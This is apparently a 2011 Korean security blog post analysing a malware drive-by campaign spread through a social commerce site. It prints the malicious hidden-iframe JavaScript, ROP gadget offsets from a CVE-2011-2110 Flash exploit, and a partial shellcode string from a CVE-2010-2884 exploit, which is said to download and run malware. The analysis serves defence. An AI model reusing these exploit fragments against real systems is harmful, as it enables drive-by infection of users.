본문 바로가기
악성코드 정보

소셜커머스(Social Commerce) 사이트를 통한 악성코드 유포사례(2)

by 알 수 없는 사용자 2011. 6. 29.
소셜커머스(Social Commerce) 사이트를 통한 악성코드 유포사례(1)
소셜커머스(Social Commerce) 사이트를 통한 악성코드 유포사례(2)

main.html
Flash Player 버전체크 루틴은 아래와 같다.

switch (VSwf)

{

   case "WIN 10,3,181,23":

     document.writeln("<iframe src=fnew.html width=10 height=0><\/iframe>");

     break

   case "WIN 10,3,181,22":

     document.writeln("<iframe src=fnew.html width=10 height=0><\/iframe>");

     break

   case "WIN 10,3,181,14":

     document.writeln("<iframe src=fnew.html width=10 height=0><\/iframe>");

     break

   default:

     document.writeln("<iframe src=fold.html style=\"width:100; height:0;\"><\/iframe>");

}

Flash Player버전이 10,3,181,23 / 10,3,181,22 / 10,3,181,14일 경우 fnew.html을 다운로드그외 버전은 fold.html을 다운로드 하도록 되어 있다.

main.html - fnew.html & head.swf 분석
fnew.html의 내용을 살펴보면 아래처럼 head.swf 파일에 info=라는 인자를 사용하여 특정 데이터를 다운로드하는 것으로 보인다.

                                                     [그림 1]fnew.html & head.swf의 동작구조

head.swf의 내부를 살펴보면 Flash Player의 버전을 체크하여 취약점 및 Shellcode가 동작하는데 필요한 주소를 설정하는 것으로 보인다. 참고로 head.swf는 CVE-2011-2110취약점을 사용하여 악성코드를 실행한다.

 //---- Flash Player의 버전체크 ----//
if (Capabilities.version.toLowerCase() == "win 10,3,181,14" ||
                Capabilities.version.toLowerCase() == "win 10,3,181,22" || 
                              Capabilities.version.toLowerCase() == "win 10,3,181,23")

//---- 설치된 Flash Player의 Type(activex or plugin) 체크 ----//
if(Capabilities.playerType.toLowerCase()=="activex"){
           this.xchg_eax_esp_ret=this.baseaddr-4147053;
           this.xchg_eax_esi_ret=this.baseaddr-3142921;
           this.pop_eax_ret=this.baseaddr-4217672;
           this.VirtualAlloc=this.baseaddr+681970+52;
           this.jmp_eax=this.baseaddr-4189983;
           this.pop_ecx=this.baseaddr-4217760;
           this.mov_eax_ecx=this.baseaddr-3903324;
           this.inc_eax_ret=this.baseaddr-4217676;
           this.dec_eax_ret=this.baseaddr-3914790;
           this.to_eax=this.baseaddr-3857175;
           this.virtualprotect=this.baseaddr+681970;


                                             [그림 2] head.swf에 존재하는 Shellcode

                                                [그림 3] info의 인자값으로 전달되는 데이터 복호화

[그림 1]에서 봤던 것처럼 info=의 인자값으로 전달되는 데이터는 복호화해 보면 [그림 3]의 내용처럼 URL이었음을 알 수가 있다.

main.html - fold.html & banner.swf, Display.swf 분석
fold.html도 마찬가지로 navigato.useragent.toLowerCase()를 사용하여 브라우저의 버전정보를 얻어 온후 버전에 따라 각각 다른 플래시 파일을 다운로드 및 실행하는 구조를 가지고 있다.

 

                                                           [그림 4] fold.html의 동작구조

banner.swf와 Display.swf는 CVE-2010-2884 취약점을 사용하여 악성코드를 다운로드 및 실행하는 플래시 파일이며
간단하게 분석을 해보면 해당 플래시 파일들을 풀어보면 내부에 DoABC 태그에 Shellcode가 존재함을 알 수 있다.

5     findpropstrict flash.utils::ByteArray
7     constructprop  flash.utils::ByteArray (0)
 //---- 중간생략 ----// 
25    pushstring   "0c0c9090eb105b4b33c966b9d50380340be2e2faeb05e8ebffffff5ae6eeeeee6bc25       
27    setlocal       6
29    pushbyte       0
31    coerce_a       

해당 플래시 파일이 실행되면 메모리에 Shellcode가 올라가고 실행되면서 특정 URL(http://test.*****.com/data/095.com)로부터 악성코드를 다운로드한 후 실행한다.

                                                      [그림 5] 메모리에 올려진 Shellcode




댓글